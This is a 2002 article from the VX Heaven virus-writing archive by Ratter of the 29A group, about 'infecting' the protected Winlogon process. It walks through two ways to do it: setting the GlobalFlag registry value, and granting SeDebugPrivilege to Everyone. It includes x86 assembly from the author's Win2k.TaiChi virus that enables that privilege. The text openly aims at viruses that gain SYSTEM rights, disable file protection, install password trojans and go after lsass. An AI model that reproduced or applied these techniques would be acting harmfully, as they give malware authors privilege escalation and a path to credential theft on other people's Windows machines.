Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Infecting Winlogon

Ratter
29a [6]
March 2002

[Back to index] [Comments]

Intro

You've probably tried to open winlogon process via OpenProcess api with desired access to write. And you've probably failed :) Why? Winlogon is one of the main Win32 subsystem components and thus is protected from other user-mode processes to modify him. As other components runs with the system privileges and thats why he's very interesting for us.

Imagine a situation: Your virus is runned under normal user security context, but yet you're allowed to modify winlogon. What does it mean for you (except that you can turn off the sfp and install a password trojan :))? Everything runned in the winlogon process (ie also your remote thread) is runned under the system privileges which are equal to administrators ones. So put everything admin-neede in your virus to a remote thread in winlogon and you'll win :)

So the key question is. How to make the system to let you modify winlogon and other win32 subsystems? Afaik there are two user-mode ways to achieve it.

Gflags technique

Win2k has a set of systemwide global flags that can allow various internal debugging, tracing and other functionality. In the kernel there is a variable called NtGlobalFlag which is initialized every boot from the registry key HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\GlobalFlag. If you have NTDDK go to the bin directory and run gflags.exe. This program changes this key to achieve the functionality ...

There also exist two flags which affect debugging (ie writing :)) to the Win32 subsystem/winlogon. These two are "Debug Win32 subsystem" and "Debug Win32 subsystem". If you want to enable them or the GlobalFlag key with the 420000h value. You of course need to restart the system to have it working. That's all ...

This tech was used the famous GetAdmin tool. This progie used the kernel mode bug in AddAtom function to modify the NtGlobalFlag variable to let modify winlogon. Then it runned the remote thread under the context of winlogon and added current user to the administrator group. It really worked however the bug is fixed under Win2k/XP.

The SeDebugPrivilege approach

This approach worx with the SeDebugPrivilege privilege. This has to be assigned to account in which context you're running under. Defaultly this privilege have only members of administrator group. Thus once runned as admin add this privilege to Everyone group and the first step will be done.

When this has been done, we can go further. Now we have to enable this privilege because defaultly it is disabled. This sample code from my Win2k.TaiChi shows you how to do it ...

Enabling SeDebugPrivilege

; All used apis are exported by advapi32.dll

        SE_PRIVILEGE_ENABLED            equ     02h

TOKEN_PRIVILEGES        struc
        TP_count        dd      ?
        TP_luid         dq      ?
        TP_attribz      dd      ?
TOKEN_PRIVILEGES        ends


        ....
        push SE_PRIVILEGE_ENABLED
        pop eax
        @pushsz "SeDebugPrivilege"
        pop esi
        call touch_privilege
        jz infect_winlogon_end
        ....


touch_privilege:
        mov ebx, ebp
touch_privilege_        proc    near
        local   process_token:DWORD
        local   privilege_luid:QWORD
        local   token_privilegez:TOKEN_PRIVILEGES

        pushad
        @SEH_SetupFrame <jmp touch_privilege_end>

        xchg eax, edi

        call dword ptr [ebx+tGetCurrentProcess]
        lea edx, [process_token]
        push edx
        push TOKEN_ADJUST_PRIVILEGES
        push eax
        call dword ptr [ebx+tOpenProcessToken]
        dec eax
        jnz touch_privilege_end

        lea edx, [token_privilegez.TP_luid]
        push edx
        push esi
        push eax
        call dword ptr [ebx+tLookupPrivilegeValueA]
        dec eax
        jnz touch_privilege_close_p_token

        push eax
        push eax
        push type(TOKEN_PRIVILEGES)
        lea edx, [token_privilegez]

        push 1
        pop dword ptr [edx]
        mov dword ptr [edx.TP_attribz], edi

        push edx
        push eax
        push dword ptr [process_token]
        call dword ptr [ebx+tAdjustTokenPrivileges]

touch_privilege_close_p_token:
        push eax
        push dword ptr [process_token]
        call dword ptr [ebx+tCloseHandle]
        pop eax
touch_privilege_end:
        @SEH_RemoveFrame
        mov dword ptr [esp.Pushad_eax], eax
        popad
        leave
        retn
touch_privilege_        endp
 

The snippet above simply "adjusts" your privileges and from now you're finally allowed to modify what you want :)

Debugger users

Simply add the accoung to Debugger users group :) This should work too, however i haven't tested it so I'm not 100% sure. Test it if you want and lemme know :)

Closing

Don't forget that not only winlogon could be the victim. Exampli gratia the lsass.exe the main security component of the whole system (even kernel mode security functions work via LPC with this process) could be also modified. Just reverse engineer and exploit what you'll find ...

Ratter/29A - I'm a stranger in the world I haven't made
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua